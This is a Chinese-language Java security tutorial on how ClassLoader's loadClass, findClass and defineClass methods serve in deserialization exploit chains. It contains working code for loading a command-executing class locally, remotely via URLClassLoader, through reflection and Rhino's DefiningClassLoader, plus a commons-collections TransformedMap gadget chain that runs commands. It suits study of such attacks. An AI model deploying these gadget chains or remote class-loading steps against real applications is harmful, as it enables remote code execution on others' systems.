文章目录
ClassLoader类中loadClass()、findClass()、defineClass()等方法都可以成为利用链中的重要一环,特别是在反序列化漏洞中常常被用到。
ClassLoader类核心方法
1、loadClass:加载java类
该方法使用双亲委派模型,首先会请求父加载器对目标类进行加载,父加载器又会请求它的父加载器,如果都为空,才会调用自己的findclass函数。
/**
* Loads the class with the specified <a href="#name">binary name</a>. The
* default implementation of this method searches for classes in the
* following order:
*
* <p><ol>
*
* <li><p> Invoke {@link #findLoadedClass(String)} to check if the class
* has already been loaded. </p></li>
*
* <li><p> Invoke the {@link #loadClass(String) <tt>loadClass</tt>} method
* on the parent class loader. If the parent is <tt>null</tt> the class
* loader built-in to the virtual machine is used, instead. </p></li>
*
* <li><p> Invoke the {@link #findClass(String)} method to find the
* class. </p></li>
*
* </ol>
*
* <p> If the class was found using the above steps, and the
* <tt>resolve</tt> flag is true, this method will then invoke the {@link
* #resolveClass(Class)} method on the resulting <tt>Class</tt> object.
*
* <p> Subclasses of <tt>ClassLoader</tt> are encouraged to override {@link
* #findClass(String)}, rather than this method. </p>
*
* <p> Unless overridden, this method synchronizes on the result of
* {@link #getClassLoadingLock <tt>getClassLoadingLock</tt>} method
* during the entire class loading process.
*
* @param name
* The <a href="#name">binary name</a> of the class
*
* @param resolve
* If <tt>true</tt> then resolve the class
*
* @return The resulting <tt>Class</tt> object
*
* @throws ClassNotFoundException
* If the class could not be found
*/
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}
if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);
// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
// 链接指定Java类
resolveClass(c);
}
return c;
}
}
主要过程
- findLoadedClass(String) 调用这个方法,查看这个Class是否已经别加载
- 如果没有被加载,继续往下走,查看父类加载器,递归调用loadClass()
- 如果父类加载器是null,说明是启动类加载器,查找对应的Class
- 如果都没有找到,就调用findClass(String)
2、findCLass:查找Java类
根据名称或位置加载.class字节码,然后使用defineClass
/**
* Finds the class with the specified <a href="#name">binary name</a>.
* This method should be overridden by class loader implementations that
* follow the delegation model for loading classes, and will be invoked by
* the {@link #loadClass <tt>loadClass</tt>} method after checking the
* parent class loader for the requested class. The default implementation
* throws a <tt>ClassNotFoundException</tt>. </p>
*
* @param name
* The <a href="#name">binary name</a> of the class
*
* @return The resulting <tt>Class</tt> object
*
* @throws ClassNotFoundException
* If the class could not be found
*
* @since 1.2
*/
protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}
3、defineClass:定义Java类
解析定义.class字节流,返回class对象,即将字节码解析成虚拟机识别的Class对象,通常和findClass()方法配合使用。
/**
* Converts an array of bytes into an instance of class <tt>Class</tt>.
* Before the <tt>Class</tt> can be used it must be resolved. This method
* is deprecated in favor of the version that takes a <a
* href="#name">binary name</a> as its first argument, and is more secure.
*
* @param b
* The bytes that make up the class data. The bytes in positions
* <tt>off</tt> through <tt>off+len-1</tt> should have the format
* of a valid class file as defined by
* <cite>The Java™ Virtual Machine Specification</cite>.
*
* @param off
* The start offset in <tt>b</tt> of the class data
*
* @param len
* The length of the class data
*
* @return The <tt>Class</tt> object that was created from the specified
* class data
*
* @throws ClassFormatError
* If the data did not contain a valid class
*
* @throws IndexOutOfBoundsException
* If either <tt>off</tt> or <tt>len</tt> is negative, or if
* <tt>off+len</tt> is greater than <tt>b.length</tt>.
*
* @throws SecurityException
* If an attempt is made to add this class to a package that
* contains classes that were signed by a different set of
* certificates than this class, or if an attempt is made
* to define a class in a package with a fully-qualified name
* that starts with "{@code java.}".
*
* @see #loadClass(String, boolean)
* @see #resolveClass(Class)
*
* @deprecated Replaced by {@link #defineClass(String, byte[], int, int)
* defineClass(String, byte[], int, int)}
*/
@Deprecated
protected final Class<?> defineClass(byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(null, b, off, len, null);
}
例子🌰
本地栗子
要实现加载自己自定义的类,需要覆盖上面所讲到的findClass(String) 方法,自定义类加载器的大致流程如下:
- 继承ClassLoader类
- 覆盖findClass()方法
- 在findClass()方法中调用defineClass()方法
这里举一个例子
首先创建一个Test类,用于加载使用,顺便弹一下计算器,发现计算器才是安全界最勤劳的打工人。
package classLoaderTest;
import java.io.IOException;
public class Test {
public Test() throws IOException {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
public static void main(String[] args) {
System.out.println("This is Test class");
}
}
在idea中直接执行,可以在target目录下得到相应的class文件,
写一个MyClassLoader类,继承于ClassLoader类,重载findClass()方法,并且在findClass()方法中读取恶意类的字节流,最后通过调用defineClass()方法加载字节流。
package classLoaderTest;
import org.springframework.util.FileCopyUtils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class MyClassLoader extends ClassLoader{
private String path;
public MyClassLoader(){
}
public MyClassLoader(String path){
this.path = path;
}
@Override
protected Class<?> findClass(String className) throws ClassNotFoundException {
Class<?> c = findLoadedClass(className);
if (c != null) {
return c;
} else {
ClassLoader parent = this.getParent();
try {
c = parent.loadClass(className);
} catch (ClassNotFoundException e) {
System.out.println("父类无法加载你的class,抛出ClassNotFoundException,已捕获,继续运行");
}
if (c != null) {
System.out.println("父类成功加载");
return c;
} else {// 读取文件 转化成字节数组
byte[] classData = readClassBytes(className);
if (classData == null) {
throw new ClassNotFoundException();
} else { // 调用defineClass()方法
c = defineClass(className, classData, 0, classData.length);
return c;
}
}
}
}
public byte[] readClassBytes(String className){
String classPath = this.path + "/" + className.replace('.', '/') + ".class";
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try {
FileCopyUtils.copy(new FileInputStream(new File(classPath)),byteArrayOutputStream);
} catch (IOException e) {
e.printStackTrace();
}
return byteArrayOutputStream.toByteArray();
}
}
最后编写一个Poc类,直接运行:
package classLoaderTest;
public class Poc {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException {
MyClassLoader deLoader = new MyClassLoader("/Users/program//target/classes/classLoaderTest/");
Class<?> test = deLoader.loadClass("classLoaderTest.Test");
test.newInstance();
System.out.println(test);
}
}
弹出计算器
远程栗子
除了直接本地文件调用恶意class,如local();还可以远程网络调用恶意class,如remote()。
public static void local() throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException {
File file = new File("/Users/program/target/classes/classLoaderTest/");
URI uri = file.toURI();
URL url = uri.toURL();
URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
Class clazz = classLoader.loadClass("classLoaderTest.Test");
clazz.newInstance();
}
public static void remote() throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException {
URL url = new URL("http://127.0.0.1:6666/");
URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
Class clazz = classLoader.loadClass("classLoaderTest.Test");
clazz.newInstance();
}
其中remote,需要在本地启动一个端口为6666的web服务,这里直接使用python3:
python3 -m http.server 6666
由于我们的Test的包名为classLoaderTest,所以还需要创建一个名为classLoaderTest的文件夹,然后把恶意class文件Test放进去。
回显栗子
通过loadClass函数
我们改造一下Test类,增加一个exec函数,参数为恶意命令,通过抛出异常来把结果带出来:
package classLoaderTest;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.rmi.server.ExportException;
public class Test {
public Test() throws IOException {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
public void exec(String cmd) throws Exception {
String data = "";
int len;
int bufSize = 4096;
byte[] buffer = new byte[bufSize];
BufferedInputStream bis = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream(),bufSize);
while ((len = bis.read(buffer,0,bufSize)) != -1){
data += new String(buffer,0 ,len);
}
bis.close();
throw new Exception(data);
}
public static void main(String[] args) {
System.out.println("This is Test class");
}
}
poc如下,使用本地调用对恶意类进行加载:
public static void myExec() throws Exception {
URLClassLoader classLoader = new URLClassLoader(new URL[]{new URL("file:/Users//progrm/projects/target/classes/classLoaderTest/")});
Class clazz = classLoader.loadClass("classLoaderTest.Test");
Method me = clazz.getMethod("exec", String.class);
me.invoke(clazz.newInstance(), "ls");
}
执行,发现命令结果被带出来了
通过defineClass函数
由于defineClass函数是保护函数,并不能直接像loadClass那样直接调用,要通过这个路径加载恶意类的字节流,有三种办法:
- 自己写类,重写defineClass方法,或继承ClassLoader类,暴露接口。如我前面写的类MyClassLoader
- 直接反射defineClass函数
- 用别人重写了defineClass函数的开源类,如org.mozilla.classfile.DefiningClassLoader,该类重现了defineClass函数,并且为public函数
直接反射defineClass函数
首先我们来讲反射的栗子,由于ClassLoader是抽象类,无法实例化,所以需要借用它的实现类,这里我用MyClassLoader类(往上翻,实现在前面)。
public static void reflection() throws Exception {
MyClassLoader mc = new MyClassLoader("/Users/program/target/classes/classLoaderTest");
byte[] bt = mc.readClassBytes("Test");
Class<MyClassLoader> cls = MyClassLoader.class; // 获取MyClassLoader的class对象
Method m = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); // 通过反射获取ClassLoader类的defineClass函数,第一个为函数名,后面的为函数参数
m.setAccessible(true); // 由于defineClass是peotect类型的,默认是不能访问的,该方法使之能访问
Class cls2 = (Class) m.invoke(cls.newInstance(),"classLoaderTest.Test", bt, 0, bt.length); // 调用MyClassLoader对象的defineClass函数,第一个参数为对象,第二个参数开始为defineClass函数的参数,返回实现好的恶意类
Method m2 = cls2.getMethod("exec", String.class); // 通过反射获取exec函数
m2.invoke(cls2.newInstance(), "ls"); //调用函数exec函数
}
结果如下
使用别人的类
这里使用org.mozilla.classfile.DefiningClassLoader类,首先引入该类
<dependency>
<groupId>rhino</groupId>
<artifactId>js</artifactId>
<version>1.5R4.1</version>
</dependency>
看到该类的defineClass函数为pulic类型:
poc类,跟上面的类似,只不过defineClass函数已经被DefiningClassLoader类实现了:
public static void otherReflection() throws Exception {
MyClassLoader mc = new MyClassLoader("/Users/all/program/target/classes/classLoaderTest");
byte[] bt = mc.readClassBytes("Test");
DefiningClassLoader cls = new DefiningClassLoader();
Class cl = cls.defineClass("classLoaderTest.Test", bt);
Method m = cl.getMethod("exec", String.class);
m.invoke(cl.newInstance(), "ifconfig");
}
执行结果:
还可以构造TransformedMap攻击链:
public static void otherChain(){
MyClassLoader mc = new MyClassLoader("/Users/rym/all/program/projects/idea/JavaProject7076/target/classes/classLoaderTest");
byte[] bt = mc.readClassBytes("Test");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{"classLoaderTest.Test", bt}),
new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"ifconfig"})};
ChainedTransformer chained = new ChainedTransformer(transformers);
Map m = new HashMap();
m.put("key", "value");
Map map = TransformedMap.decorate(m,null,chained);
Map.Entry entry = (Map.Entry) map.entrySet().iterator().next();
entry.setValue(Object.class);
}
参考:
https://xz.aliyun.com/t/9002
https://blog.csdn.net/qq_34101364/article/details/113096002